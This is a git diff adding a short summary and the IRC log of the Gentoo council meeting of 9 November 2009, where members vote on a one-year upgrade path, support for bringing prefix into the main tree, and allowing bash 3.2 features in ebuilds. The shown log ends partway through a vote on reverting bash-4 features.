diff --git a/xml/htdocs/proj/en/council/meeting-logs/20091109-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20091109-summary.txt
new file mode 100644
index 00000000..2db44804
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20091109-summary.txt
@@ -0,0 +1,48 @@
+Summary of Gentoo council meeting 9 November 2009
+=================================================
+
+Roll call
+---------
+betelgeuse
+calchan
+dertobi123
+leio
+lu_zero
+patrick (proxy for solar)
+ulm
+
+EAPI 3 status
+-------------
+Some progress, see tracker bug 273620. 8 out of 20 items are still
+missing.
+
+Upgrade path for old systems
+----------------------------
+Vote (unanimous): The ebuild tree must provide an upgrade path to a
+stable system that hasn't been updated for one year.
+
+Action: leio will start a discussion on gentoo-dev on if and how to
+support upgrading systems that are outdated more than a year.
+
+Prefix support in main Portage tree
+-----------------------------------
+The council unanimously supports the general idea, but sees need for
+additional discussion.
+
+Action: ulm will follow up on the open questions on gentoo-dev.
+
+Usage of bash 3.2 features in Portage tree
+------------------------------------------
+Vote (6 yes, 1 no): Usage of bash 3.2 features in the Portage tree is
+allowed. PMS will be updated accordingly.
+
+Vote (6 yes, 1 no): Ebuilds must be completely parsable with =bash-3.2*,
+any use of later bash features will be reverted.
+
+Preservation of file modification times in EAPI 3
+-------------------------------------------------
+Postponed.
+
+Next meeting
+------------
+7 December 2009, 19 UTC.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20091109.txt b/xml/htdocs/proj/en/council/meeting-logs/20091109.txt
new file mode 100644
index 00000000..af8ed5d7
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20091109.txt
@@ -0,0 +1,518 @@
+21:00:03 <ulm>	O.K., let's start
+21:00:05 ---	ulm sets mode +m #gentoo-council
+21:00:13 *	lu_zero murmurs things about xen-fullvirt and clock drifts
+21:00:22 ---	ulm gives voice to DrEeevil
+21:00:32 <ulm>	who's logging?
+21:00:42 <Betelgeuse>	I do as usual
+21:00:44 <leio>	Many probably are, me included
+21:00:59 <ulm>	roll call
+21:01:03 <leio>	here
+21:01:05 <Betelgeuse>	\o/
+21:01:06 *	lu_zero here
+21:01:12 *	dertobi123 yawns
+21:01:18 <DrEeevil>	here, representing solar
+21:01:43 <Calchan>	Im here
+21:02:26 <ulm>	we have too many topics for 60 minutes, so is it o.k. if we extend to 90 min today?
+21:02:33 <Betelgeuse>	yes
+21:02:39 <ulm>	or has anybody to leave sooner?
+21:02:39 <leio>	yes
+21:02:43 <lu_zero>	ulm fine
+21:02:48 <leio>	err, 90 minutes is OK 
+21:02:54 <DrEeevil>	ok
+21:02:56 <dertobi123>	would be nice if we can make it within 60 minutes
+21:03:27 <ulm>	dertobi123: "would be nice"? is this a veto?
+21:03:44 <Betelgeuse>	dertobi123: unlikely
+21:03:48 <dertobi123>	not a veto, just a "would be nice"
+21:03:52 <ulm>	k
+21:04:02 <lu_zero>	ulm I think the idea is to have the extension last the required time
+21:04:06 <Betelgeuse>	but do try to be active so if we vote ulm doesn't have to wait etc
+21:04:07 <lu_zero>	(less than 30 min)
+21:04:09 <Calchan>	90 minutes is KO here
+21:04:11 <Calchan>	OK
+21:04:40 <ulm>	I see no objections then
+21:04:56 <ulm>	2. Approve summary of October meeting
+21:05:07 <ulm>	no summary ready, afaik
+21:05:17 <ulm>	so we can skip this topic
+21:05:25 <Betelgeuse>	anyone want to pickup from tanderson ?
+21:05:32 <leio>	I started work on it, but can't have it ready before tomorrow evening
+21:05:50 <leio>	I can do both previous and this meeting
+21:05:54 <Betelgeuse>	leio: ok good
+21:05:58 <lu_zero>	thank you =)
+21:05:59 <Calchan>	leio, thanks
+21:06:26 <ulm>	leio: thanks
+21:06:26 ---	lu_zero gives voice to zmedico
+21:06:59 <ulm>	lu_zero: right, let's move to 3. Follow-ups from previous meeting
+21:07:14 <ulm>	zmedico: any update on EAPI 3 status?
+21:08:39 <ulm>	anyone else?
+21:08:49 <lu_zero>	zmedico maybe didn't expect us to be this fast
+21:09:21 <ulm>	there's quite some progress in tracker bug 273620 compared to one month ago
+21:10:09 <lu_zero>	8/20 missing
+21:10:16 <ulm>	yeah
+21:10:52 <Betelgeuse>	the items done are simple and quick
+21:11:30 <lu_zero>	most of the missing ones do not appear this bad as well
+21:11:34 <ulm>	right, but obviously there's progress
+21:12:11 <ulm>	should we move on?
+21:12:30 <Betelgeuse>	I think so
+21:12:32 <lu_zero>	Upgrade paths
+21:12:34 <Calchan>	ulm, yes let's move and maybe get back to this if zac shows up
+21:12:41 <ulm>	Calchan: k
+21:12:41 <lu_zero>	I agree
+21:13:18 <ulm>	leio: "Upgrade path for old systems"
+21:13:23 <leio>	I personally do not think in-tree versions of python certainly need to be EAPI-0 (but have to be EAPI-1), as presumably the system that is getting updated already has a python installed, so just a version of portage that supports newer EAPI (and its direct and indirect dependencies) need to work with EAPI-0, this includes depending on only a python version that used to be EAPI-0 and available for a long time. The main question in my mind
+21:13:23 <leio>	 is deciding how far back we want to support things _now_, and go from there to always support back to that point. Some ideas include making periodic portage tree snapshots and whitelisting necessary system packages for distfiles mirrors, so that it is always possible to upgrade step by step through these snapshots. I will follow-up on gentoo-dev for wider discussion with good initial discussion starting write-up soon
+21:14:18 <leio>	how much ago from today we want to support also related to the bash-3.2 question later in the agenda
+21:14:29 <leio>	relates*
+21:14:31 <Calchan>	I think the underlying question in all of this is how long we want to maintain upgrade paths, once we know that it's easy to see what was stable this long ago and if anything was broken then we fix it
+21:14:53 <Betelgeuse>	I would keep main tree in shape for one year.
+21:15:06 <Betelgeuse>	Then if we can provide snapshots and a guide that would be great.
+21:15:17 <Calchan>	I'd definitely agree with that
+21:15:19 <lu_zero>	Betelgeuse how many back snapshot/years ?
+21:15:20 <Betelgeuse>	Would mainly mean someone periodically tries to updgrade form an old snapshot.
+21:15:28 <DrEeevil>	as long as it is "simple" like keeping around only one version of all system packages (or all deps of portage) it has a low enough cost
+21:15:39 <Betelgeuse>	lu_zero: I would say two years.
+21:15:49 <Betelgeuse>	I have seen many times people trying to update around a year marker
+21:15:56 <Betelgeuse>	but beyond two years seems two much work
+21:16:04 <Betelgeuse>	s/two/too/
+21:16:22 <dertobi123>	we can archive snapshots every - say - three months and it's system packages distfiles
+21:16:23 <leio>	I don't think the cost in keeping support for upgrading from older system is big after we start doing it - users can go step by step, upgrade package manager to 2009 upgrade path snapshot helper, then to 2010, then to 2011, etc
+21:16:36 <lu_zero>	if we just have them incremental (snap0 -> snap1 -> ... -> current stable)
+21:16:38 <Betelgeuse>	If we have a good schedule for testing upgrades it should be quite simple.
+21:16:50 <lu_zero>	won't take more work but just space
+21:16:52 <leio>	only cost there would be distfiles and snapshot mirroring space
+21:16:55 <Betelgeuse>	I think someone just needs to take responsibility and start a project for this.
+21:17:10 <dertobi123>	i wouldn't say "we do this for 2 years" - as long as that's working it might be a benefit for people upgrading from much older boxes
+21:17:57 <Calchan>	dertobi123, as long as the snapshots are being done it's just a matter of disk space on our servers to keep them around
+21:18:06 <dertobi123>	Calchan: exactly, yes
+21:18:08 <lu_zero>	so we agree that we'll keep as many snapshot as possible within our infra/mirror limit or 2 years?
+21:18:18 <DrEeevil>	and that is negligible - system is ~100MB per snapshot
+21:18:34 <Calchan>	so there's no point limiting the storage to 2 years
+21:18:58 <leio>	I'll get a gentoo-dev discussion going in the coming days, summarizing all the current thoughts and ideas
+21:19:06 <lu_zero>	ok
+21:19:11 *	dertobi123 nods
+21:19:12 <ulm>	leio: sounds good
+21:19:27 <Betelgeuse>	leio: Could you start a project page too while at it?
+21:19:34 <Calchan>	lu_zero, let's say we require 2 years of snapshots and that beyond that it's infra's decision to keep what's older
+21:19:52 <lu_zero>	Calchan sounds good
+21:20:03 *	Calchan smells good too
+21:20:57 <leio>	Betelgeuse: maybe after discussion?
+21:21:02 <Betelgeuse>	leio: sure
+21:21:08 <Betelgeuse>	leio: just making sure someone follows up
+21:21:13 <Betelgeuse>	leio: and it's not just discussion and then nothing
+21:21:15 <leio>	Ok, but I'm not confident I can be involved with that project in the longer term
+21:21:19 <Calchan>	isn't there a 3 year retention requirement with the GPL ? we could sync with that too
+21:21:36 <leio>	that requirement applies to for-profits I think
+21:21:44 <Betelgeuse>	leio: sure but if you can't find someone just bring it up that we need someone
+21:21:45 <leio>	err, for non-community-distribution
+21:21:50 <leio>	Betelgeuse: nod
+21:23:02 <ulm>	anything else for this topic?
+21:23:22 <lu_zero>	we could move
+21:23:32 <ulm>	4. Prefix support in main Portage tree
+21:23:38 <Calchan>	hold on, what's the plan?
+21:23:41 <leio>	Calchan: actually good point, I think the alternative provided by 3c in GPL-2 only covers object code noncommercial distos
+21:23:49 <leio>	distros*
+21:24:02 <Calchan>	leio starts a discussion on -dev and we vote on the outcome of that next time?
+21:24:21 <Betelgeuse>	ulm: I think we should vote on the one year tree requirement
+21:24:42 <Betelgeuse>	to make it explicit
+21:24:58 <Calchan>	Betelgeuse, would that imply reverting any breakage that wouldn't satisfy the one year tree requirement?
+21:25:11 <Betelgeuse>	Calchan: yes
+21:25:12 -->	mpagano (n=mpagano@gentoo/developer/mpagano) has joined #gentoo-council
+21:25:19 <Calchan>	Betelgeuse, ok, thanks for the clarification
+21:25:40 <Calchan>	ulm, so do we vote?
+21:25:42 <Betelgeuse>	I would leave how to handle older than that to the leio started discussion and the resulting proejct
+21:25:44 <ulm>	Betelgeuse: can you word the question we should vote on?
+21:25:45 <leio>	I'd find it more reasonable to vote on this next time then
+21:26:11 <Betelgeuse>	ulm: Ebuild tree should provide upgrade path to a system that hasn't been updated in a year.
+21:26:29 <ulm>	Betelgeuse: leio has a point, there was no vote foreseen on the agenda
+21:26:50 <Betelgeuse>	ulm: You can ask if people are not ready to vote
+21:26:54 <Calchan>	ulm, so what? let's not find lame excuses for not making progress
+21:27:03 <Betelgeuse>	ulm: They can just say not ready
+21:27:09 <Betelgeuse>	ulm: Then we just don't get a majority
+21:27:19 <ulm>	ok, let's give it a try then ;)
+21:27:20 <leio>	the proposed wording sounds good to me for a todays vote too. I'd like some "at least" wording though
+21:27:24 <Calchan>	ulm, great
+21:27:45 <Calchan>	leio, good point
+21:27:50 *	dertobi123 agrees with leio
+21:28:01 <leio>	and s/should/must
+21:28:23 <ulm>	"Ebuild tree must provide upgrade path for at least one year."
+21:28:26 <Calchan>	so does everybody with the wording: "Ebuild tree must provide upgrade path to a system that hasn't been updated in at least one year"
+21:28:41 <ulm>	or that
+21:28:47 <lu_zero>	since the time of the newer snapshot?
+21:29:12 <ulm>	and maybe s/system/stable system/
+21:29:15 <leio>	this is irregardless of snapshots. Snapshots would provide a way to upgrade from even older systems
+21:29:16 <lu_zero>	since "an year" is a sliding definition
+21:29:55 -->	grobian (n=grobian@gentoo/developer/grobian) has joined #gentoo-council
+21:29:58 <Calchan>	lu_zero, sliding, but that means that I any time you don't need to resort to snapshots if you updated in the past year
+21:30:02 <leio>	"Ebuild tree must provide an upgrade path to a stable system that hasn't been updated for one year" would sound good to me
+21:30:18 <ulm>	^^ please vote on this
+21:30:24 <lu_zero>	fine for me
+21:30:28 <ulm>	yes from me
+21:30:29 <dertobi123>	ok for me
+21:30:30 <Betelgeuse>	yes
+21:30:34 <Calchan>	agreed, leio's wording is clear enough
+21:30:38 <Calchan>	and I vote yes
+21:30:46 <leio>	my "at least" proposal made it more confusing, sorry :)
+21:30:48 <leio>	I vote yes
+21:31:06 <ulm>	DrEeevil?
+21:31:30 <DrEeevil>	yes
+21:31:41 <ulm>	unanimous then
+21:31:48 <ulm>	let's move on
+21:31:50 <leio>	I propose adding in the summary also this: "The council encourages trying to keep ebuild tree upgrade path support for older system than a year as well"
+21:32:05 <leio>	but not important, this will be discussed in the thread I bet.
+21:32:16 <Calchan>	leio, I would keep that for the thread
+21:32:24 ---	ulm gives voice to grobian
+21:32:38 <ulm>	next topic "4. Prefix support in main Portage tree"
+21:33:13 <ulm>	grobian: can you give an outline of the proposal?
+21:33:43 <grobian>	ehm, well, it's pretty simple
+21:34:03 <grobian>	we propose to simply make a preparation for full prefix support to portage
+21:34:19 -->	reavertm (n=reavertm@aegv10.neoplus.adsl.tpnet.pl) has joined #gentoo-council
+21:34:26 <grobian>	that means that the variables EPREFIX, ED and EROOT will be initialised to the values '', D and ROOT
+21:34:51 <Calchan>	what are the implications for non-prefix devs?
+21:34:52 <grobian>	this gives the advantage that we don't have to set ED and EROOT in every ebuild we require them
+21:34:55 <Calchan>	and users
+21:35:23 -->	Innocenti (n=Innocent@ramonvanalteren.xs4all.nl) has joined #gentoo-council
+21:35:24 <grobian>	implications are outlined in my earlier mail to -dev
+21:35:29 <leio>	I'm worried about the implications of this being an EAPI feature in relation to the upgrade path concerns and usage of these variables in eclasses
+21:36:01 <grobian>	leio: can you be more specific?
+21:36:15 <Calchan>	grobian, do you have a link in the archives? I can't seem to find it anymore
+21:36:17 <leio>	eclasses use $D, $ROOT and so on
+21:36:33 <grobian>	leio: yes
+21:36:45 <ulm>	grobian: does it mean we have to substitute all occurences ${D} -> ${ED} and ${ROOT} -> ${EROOT} in ebuilds and eclasses?
+21:36:52 <leio>	the eclasses and ebuilds involved in package manager deptree should remain lower EAPI (EAPI-0 right now) to support upgrading the package manager
+21:37:07 <grobian>	ulm: unfortunately not all of them, that's why we need to make a distinction between the two
+21:37:29 <grobian>	leio: yes, but we can set ED if ED is not set to D, making them compatible in EAPI0
+21:37:36 <grobian>	(and up)
+21:37:38 <leio>	which means portage EAPI-2+prefix provided variables can't be relied upon (upgrade path stuff going to be discussed on gentoo-dev soon). Maybe the eclasses and ebuilds involved in there can define those themselves then
+21:38:06 <leio>	and for those eclasses and ebuilds that are allowed to upgrade EAPI requirements, it is a convenience
+21:38:09 <grobian>	leio: that's why we proposed using use prefix || local ED=${D}
+21:38:39 <leio>	ok, so something to just communicate very well if this is accepted
+21:38:46 <grobian>	Calchan: I'm searching
+21:38:52 <Calchan>	grobian, thanks
+21:39:15 <leio>	agenda had some link. That one?
+21:39:44 <grobian>	http://article.gmane.org/gmane.linux.gentoo.devel/63527/match=gentoo+prefix+eprefix
+21:40:20 <ulm>	yeah, that's the one in the agenda
+21:40:26 <ulm>	only on gmane
+21:40:34 <grobian>	see that thread for the idea to inject this inter-eapi that will allow to skip to do the conditional ED and EROOT
+21:40:40 <leio>	the details on the need for separate variables slightly still escapes me
+21:41:11 <grobian>	leio: look at the make DESTDIR=${D} install example
+21:42:16 <Betelgeuse>	grobian: Maybe the prefix-vars eclass idea is simpler. It's easier to remove in the future if we have something better.
+21:42:33 <grobian>	leio: if you insert the offset in there, you simply get a double offset, because you supplied it during configure too
+21:42:33 <Betelgeuse>	grobian: If we use an EAPI for uninstall the support stays there for quite a while
+21:42:38 <grobian>	Betelgeuse: it's only not possible
+21:43:08 <Betelgeuse>	grobian: how come?
+21:43:15 <grobian>	Betelgeuse: D and ROOT need not to be set when the ebuild is sourced
+21:43:33 <leio>	grobian: I think I got it. The point was that DESTDIR remains $D and the problem happens if you need to access things post make install
+21:44:02 <grobian>	leio: yes, you want to avoid writing ${EPREFIX} all the time, hence the shorthand ED
+21:44:56 <leio>	would dobin and similar methods automatically get ${EPREFIX} in front for defaults with a new EAPI?
+21:45:19 <grobian>	leio: no, but they would in the Prefix EAPI, as is implemented now
+21:46:13 <grobian>	the EAPI we talk about now is just a mere convenience EAPI that allows to avoid lots of conditional code such that Prefix and gx86 can share the same ebuilds
+21:46:42 <Calchan>	grobian, would that EAPI slot in between EAPI3 and EAPI4?
+21:46:44 <grobian>	it basically all needed
+21:46:47 <leio>	the question was if the default locations would be changed in the new EAPI feature you are proposing to be accepted :)  And if insinto and such would add $EPREFIX in front automatically, or all such places need to be updated as well. But this is perhaps getting into too much details for this point of time
+21:46:51 <Calchan>	grobian, or could that be EAPI4?
+21:46:51 <ulm>	grobian: only feature being the new variables?
+21:46:59 <grobian>	leio: nothing changes for gx86
+21:47:36 <ulm>	Calchan: let's postpone the eapi details, we have an extra topic for it
+21:47:44 <grobian>	Calchan: we need it now, and very fast, otherwise I'll stop waiting and just add lots of conditional code
+21:47:48 <ulm>	s/eapi/eapi numbering/
+21:47:50 <leio>	but they can't share the same ebuilds if insinto and dobin and so on don't have EPREFIX in front of the arguments
+21:48:29 <ulm>	leio: EPREFIX is empty in main tree
+21:48:30 <grobian>	ulm: a prefix enabled package manager can do offset installs using those variables
+21:48:30 <leio>	ok, they can if your portage branch does add that automatically for these functions
+21:48:42 <Calchan>	grobian, how come you need it fast? I understand the workload issue but I think it's not a reason to take chances with the tre
+21:49:18 <Calchan>	e
+21:49:30 <grobian>	Calchan: because we already started doing that, and then zmedico came with this idea, so we suspended for that, because it sounds good to us
+21:49:46 <lu_zero>	grobian your effort could be merged with the multilib idea we more or less discussed the past council?
+21:50:11 <grobian>	leio: yes, the prefix portage is doing that exactly, meaning that if EPREFIX='', it behaves as normal portage
+21:50:14 <lu_zero>	grobian which would be a confortable timeframe for you?
+21:50:15 <Calchan>	grobian, I think the details of prefix and its implications should be reviewed, and I would want to involve QA in that as they're usually the ones picking up the pieces
+21:50:22 <grobian>	lu_zero: it's completely unrelated IMO
+21:50:45 <Betelgeuse>	grobian: To vote on I would like to have the finished spec for the new EAPI text.
+21:51:02 <Betelgeuse>	When when we have that we should see where we are with EAPI 3.
+21:51:03 <Calchan>	that's the bare minimum
+21:51:03 <lu_zero>	grobian I see
+21:51:06 <grobian>	lu_zero: well, zmedico told me he could do it pretty fast, so that's what I'm counting on
+21:51:20 <lu_zero>	grobian fast as in week but not months
+21:51:27 <lu_zero>	or fast as in yesterday? ^^
+21:51:36 <grobian>	I can still wait a week
+21:51:47 <Calchan>	what after that?
+21:51:57 <grobian>	then I'll just continue I started on
+21:52:06 <grobian>	s/on/with/
+21:52:39 <Calchan>	grobian, you may want to hold back making major changes to ebuilds you don't maintain
+21:52:40 <leio>	hopefully getting acks from relevant maintainers...
+21:52:47 <lu_zero>	the request is just a minimal change that will be completely transparent for non-prefix users?
+21:52:57 <grobian>	Calchan: that's why we get maintainers in the loop
+21:53:07 <grobian>	like we wrote in the mail
+21:53:14 <Betelgeuse>	I don't see a problem with going forward with maintainer blessing in the meanwhile.
+21:53:27 <grobian>	lu_zero: yes
+21:53:30 <Calchan>	grobian, is what you started doing reversible?
+21:53:45 <Betelgeuse>	For non prefix users at least.
+21:53:53 <grobian>	Calchan: yes, by basically sedding ED to D
+21:54:12 <grobian>	Betelgeuse: prefix users already have ED and EROOT
+21:54:13 <leio>	basically, but not quite - too short keyword to sed :)
+21:54:24 <Calchan>	grobian, and are you touching any system packages?
+21:54:28 <lu_zero>	${D} =P
+21:54:39 <lu_zero>	anyway
+21:54:49 <grobian>	Calchan: not yet, but prefix code is already in toolchain*.eclass with ack from spanky
+21:54:57 <leio>	"system packages" is quite relative these days, unfortunately. E.g pam -> pam-base[gnome-keyring] -> gnome-keyring -> ...
+21:55:37 <ulm>	we are already behind schedule
+21:55:49 <ulm>	so how do we go on from here?
+21:56:02 <ulm>	should we vote if council generally supports the idea?
+21:56:07 <lu_zero>	I like the idea of merging prefix with the main portage
+21:56:08 <Calchan>	grobian, I would agree with the move once this has been properly reviewed, but inflicting us a one week deadline is rather unrealistic
+21:56:39 <grobian>	Calchan: we can always benefit from it when it comes later
+21:56:54 <Calchan>	grobian, benefit of what?
+21:57:08 <grobian>	an eapi that we don't need to set ED or EROOT in
+21:57:31 <Calchan>	I think you're pushing the schedules here
+21:57:47 <Calchan>	and again I understant the impact on your workload
+21:57:54 <grobian>	sorry, I feel I just made a simple request
+21:58:09 <grobian>	you could see me coming I guess
+21:58:15 <Betelgeuse>	7w 30
+21:58:20 <ulm>	if the only change is definition of three variables there can't be much danger of damaging anything
+21:59:03 -->	NeddySeagoon (n=NeddySea@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+21:59:08 <grobian>	if the position of the portage team is of any value to you, I think you should consult them
+21:59:20 <Calchan>	grobian, I was going to propose that
+21:59:50 <Calchan>	one thing that bothers me is that it affects past EAPIs
+22:00:03 <grobian>	in what way does it do that?
+22:00:06 <Betelgeuse>	Calchan: no?
+22:00:50 <Calchan>	mmhhh... this would prove I didn't understant the whole thing correctly
+22:01:10 <Calchan>	which would mean I'm not ready to vote on this
+22:01:21 <grobian>	Calchan: if EAPI="2+prefix" ; then define ED, EROOT, EPREFIX ; fi
+22:01:28 <ulm>	we are at this topic since 30 min and I propose to move discussion to -dev ml
+22:01:44 <ulm>	since I don't see us converging towards a vote
+22:01:57 <lu_zero>	ulm 4.1 could be voted already
+22:02:01 <Calchan>	grobian, don't eclasses need to be modified?
+22:02:02 <Betelgeuse>	grobian: Couldn't we go with having ROOT and D available on global scope immediately?
+22:02:31 <grobian>	Calchan: eclasses: yes, take KDE eclasses as example
+22:02:55 <grobian>	Betelgeuse: I don't like stacking many things in one, but then I won't mind either
+22:03:23 <Calchan>	grobian, I will but not now, we're running late with the meeting
+22:03:39 <lu_zero>	the main problem is that 1 week is a pretty short time
+22:03:50 <ulm>	let's vote on 4.1 then "Does the council generally support this idea?"
+22:04:01 <ulm>	and say if you're not ready
+22:04:08 <lu_zero>	I like the idea
+22:04:24 <Calchan>	ulm, does that mean the general idea of eventually having prefix in the tree?
+22:04:38 <ulm>	Calchan: that's the implication
+22:04:40 <leio>	I support the intention of getting all this into the main tree, but unsure of the first step proposed right now.
+22:04:42 <dertobi123>	in general i like it and want to see it happen, but as the past about 30 minutes proved - there are lots of things to discuss
+22:04:58 <Betelgeuse>	I support having prefix eventually merged to main tree but I won't vote on EAPis without a written spec.
+22:05:07 *	ulm also supports the idea in general
+22:05:09 <lu_zero>	Betelgeuse that is 4.2
+22:05:31 <Betelgeuse>	lu_zero: in my opinion ties back to 4.1
+22:05:51 <Calchan>	I would vote yes
+22:06:08 <ulm>	DrEeevil?
+22:06:27 <DrEeevil>	I support the idea and grobian's plan
+22:06:34 <DrEeevil>	the timeline is debatable
+22:07:09 <ulm>	so we have unanimous support for the general idea, but there's need for additional discussion
+22:07:23 <ulm>	let's postpone 4.2 to next meeting then
+22:07:28 <lu_zero>	ok
+22:07:41 <DrEeevil>	ok
+22:08:05 <ulm>	grobian: you can live with that?
+22:08:30 <leio>	We need a PMS patch, no?
+22:08:30 <Calchan>	grobian, would you start a discussion on that and make sure we get relevant feedback on this, so that we can vote on this next time?
+22:08:33 <ulm>	grobian: and please get the discussion on -dev ml going
+22:08:43 <grobian>	sure I can, but may I request you all to do a little bit of homework for next meeting then?  That'll save you some time in here ;)
+22:09:14 <Calchan>	grobian, seriously, your message was posted a bit late for me to research that thouroughly enough
+22:09:17 <grobian>	ulm: all questions have been addressed in the mail as far as I can see, so I would request you to put the questions out there, so I can reiterate
+22:09:27 <Betelgeuse>	Calchan: the original message was on gentoo-dev quite a while ok I think
+22:09:48 <Calchan>	Betelgeuse, a bit short for me, slow and old brain and all that
+22:09:55 <Calchan>	plus life
+22:09:57 <grobian>	3 weeks, 1 day, 10 hours and 57 minutes ago
+22:09:58 <Betelgeuse>	Calchan: 3 weeks ago
+22:10:05 <ulm>	grobian: o.k., i'll followup on the ml then
+22:10:08 <Calchan>	3 weeks? ok than, I slacked
+22:10:12 <ulm>	next topic: "5. Usage of bash 3.2 features in Portage tree"
+22:10:17 <leio>	grobian: will you write a PMS patch?
+22:10:30 <grobian>	leio: if you request me to do so, I'm willing to do
+22:10:52 <Calchan>	grobian, please do, if we have all material ready for next time it'll be easier
+22:11:15 <grobian>	Calchan: ok, I'll do
+22:11:18 <ulm>	patrick's message is here: http://archives.gentoo.org/gentoo-council/msg_ed3cba3e0ded55c4e497451af46ea55b.xml
+22:11:25 <leio>	grobian: at some point it will be necessary if the discussion leads to a potential accepting of it, the sooner the better. Things might be clearer for the discussion as well if there's a concrete detailed PMS patch to discuss
+22:11:25 <Calchan>	grobian, thanks
+22:11:27 <ulm>	we've moved on ;)
+22:11:39 <ulm>	stop discussing topic 4 please
+22:12:03 <Calchan>	this issue can easily be answered with the decision we've made in 3.2
+22:12:18 <ulm>	right, it's linked to that
+22:12:29 <Calchan>	is 3.2 stable for at least a year?
+22:13:00 <ulm>	DrEeevil: can you answer this?
+22:13:08 <DrEeevil>	bash 3.2 has been stable for much more than a year
+22:13:22 <DrEeevil>	bash 3.2 was added Oct 2006 and stabled May 2007
+22:13:54 <leio>	that part sounds OK. Now the problem is it being part of EAPI-0 and how amending of that is done as a process
+22:14:30 <Calchan>	is it that urgent that we can't wait for EAPI3?
+22:14:40 <DrEeevil>	unrelated to EAPI
+22:14:41 <Betelgeuse>	Calchan: You should know global scope issues
+22:14:45 <DrEeevil>	please stop confusing things :)
+22:14:47 <Calchan>	oh right
+22:14:49 <Betelgeuse>	Calchan: To parse the EAPI out
+22:14:49 <Calchan>	sorry
+22:15:28 <Betelgeuse>	leio: We as a council can decide for EAPI 0.
+22:15:35 <lu_zero>	I think we could safely amend pms
+22:15:57 <ulm>	if we want to be consequent, we should either revert all usage of 3.2 features in the tree, or allow 3.2 in general
+22:16:03 <DrEeevil>	exactly
+22:16:12 <DrEeevil>	reverting will be a very unpleasant thing to do
+22:16:14 <ulm>	probably it's too late for the first option already
+22:16:35 <dertobi123>	given the fact that we have bash 3.2 stable for >2 years i think this mostly is a non-issue. therefore i'd prefer "fixing" pms and requiring bash-3.2 thus allowing it in general
+22:16:48 <ulm>	but we should make sure that this won't happen again for bash 4.0
+22:16:51 <Betelgeuse>	Let's see for any bash >3.2 features they will be reverted
+22:16:54 <lu_zero>	I'd go with the simpler way
+22:17:04 <ulm>	Betelgeuse: exactly
+22:17:05 <lu_zero>	Betelgeuse agreed
+22:17:06 <Calchan>	is there any chance that we could end up in a situation where we can't parse the ebuild and thus not get the EAPI?
+22:17:20 <DrEeevil>	Calchan: bash4 features potentially
+22:17:30 <DrEeevil>	bash 3.0/3.2 changes are small enough to be parseable
+22:18:20 <--	dabbott|work has quit (Client Quit)
+22:18:29 <Calchan>	DrEeevil, so why do we care about requiring 3.2 then?
+22:18:40 <Betelgeuse>	Ideally we would have repoman parsing the ebuilds with a 3.2 parser.
+22:18:45 <DrEeevil>	Calchan: because it is actively used
+22:19:12 <DrEeevil>	either we allow it (fix PMS) or we don't (fix tree), but having the spec and the product disagree like that is bad
+22:19:20 <Calchan>	DrEeevil, I would tend to consider that an error if it can't be relied on
+22:19:33 <DrEeevil>	Calchan: an error with >150 occurances in eclasses only
+22:19:51 <Calchan>	DrEeevil, can't be sedded?
+22:19:58 <DrEeevil>	Calchan: no, not that easy
+22:20:09 <DrEeevil>	and people will not appreciate having good features removed
+22:20:09 <ulm>	Calchan: and what would be the point?
+22:20:35 <Calchan>	ulm, teaching people to not use features they can't rely on?
+22:20:51 <ulm>	Calchan: we can do this for bash 4.0 features ;)
+22:21:00 <dertobi123>	ulm: we *should* or better *must*
+22:21:06 <DrEeevil>	Calchan: you're about a year late for that
+22:21:10 -->	Zorry (n=zorry@fu/coder/zorry) has joined #gentoo-council
+22:21:21 <Calchan>	DrEeevil, so what?
+22:21:22 <DrEeevil>	people warned back then and noone seemed to care, so it started to get used more and more
+22:21:27 <DrEeevil>	procedural fail.
+22:22:02 <ulm>	I think all arguments have been said and we can vote: "Should usage of bash 3.2 features in the Portage tree be a) forbidden (i.e. tree reverted to 3.0), b) allowed (i.e. PMS changed), or should c) the issue be ignored?"
+22:22:17 <DrEeevil>	we've been doing (c) for long enough
+22:22:31 <lu_zero>	still is an option
+22:22:44 <ulm>	lu_zero: that's why it's listed
+22:22:51 <dertobi123>	i think c is not an option to vote upon
+22:23:19 <Calchan>	I still don't know what is to be gained by using 3.2, and from what I understand not much if anything
+22:23:42 <DrEeevil>	Calchan: I see it mostly as a matter of having a correct specification
+22:23:57 <DrEeevil>	if PMS is supposed to have any relevance it needs to document reality
+22:24:08 <dertobi123>	reality already is that we have 3.2 features being used and the only thing we can do about this *now* is to change pms to reflect that behaviour but also to make sure such doesn't happen again with bash-4
+22:24:10 <Calchan>	which doesn't matter if people don't foolow it like they did
+22:24:26 <DrEeevil>	dertobi123: agreed
+22:25:01 <DrEeevil>	Calchan: they weren't, in any way, sanctioned
+22:25:15 <DrEeevil>	hey, why not use the shiny features!
+22:25:19 <ulm>	we may also have a stronger point for forbidding 4.0 features if PMS reflects the real status of the tree
+22:25:39 <Betelgeuse>	If we can make repoman fail people won't add new features
+22:25:50 <Betelgeuse>	I bet much of it is just because people don't know/notice
+22:26:03 <DrEeevil>	the bash 3.2 features were quite conscious
+22:26:09 <Betelgeuse>	DrEeevil: PMS authors can't really upgrade the bash version but the council should
+22:26:56 <ulm>	so vote please: "Should usage of bash 3.2 features in the Portage tree be a) forbidden (i.e. tree reverted to 3.0), or b) allowed (i.e. PMS changed)"
+22:27:03 <Betelgeuse>	b
+22:27:05 <ulm>	i vote for b
+22:27:07 <Calchan>	Betelgeuse, I'd agree with you but it's still not a good enough reason to let people not respect a decision previously made by the council
+22:27:11 <DrEeevil>	b
+22:27:15 <lu_zero>	b
+22:27:20 <Calchan>	a
+22:27:26 <dertobi123>	b
+22:27:32 <leio>	b
+22:27:38 <tanderson>	I'd like to request some general consensus that we shouldn't repeat things like this however
+22:27:54 <tanderson>	So people can't introduce 4.0 features and then say "PMS should reflect reality!"
+22:27:56 <ulm>	I count 1a 6b
+22:28:10 <ulm>	tanderson: that was my next point
+22:28:15 <Betelgeuse>	ulm: Vote on >3.2 features will be reverted please
+22:28:24 <ulm>	Betelgeuse: yep
+22:28:55 <tanderson>	ulm: great, I would likely quit if people tried that one. :p
+22:29:02 <Betelgeuse>	Calchan: Yes but being able to use 3.2 features is useful
+22:29:08 <ulm>	"Should features of >=bash-4 be disallowed and reverted in the tree?"
+22:29:09 <lu_zero>	I'm ok with reverting as well
+22:29:32 <Calchan>	why not >3.2, just in case
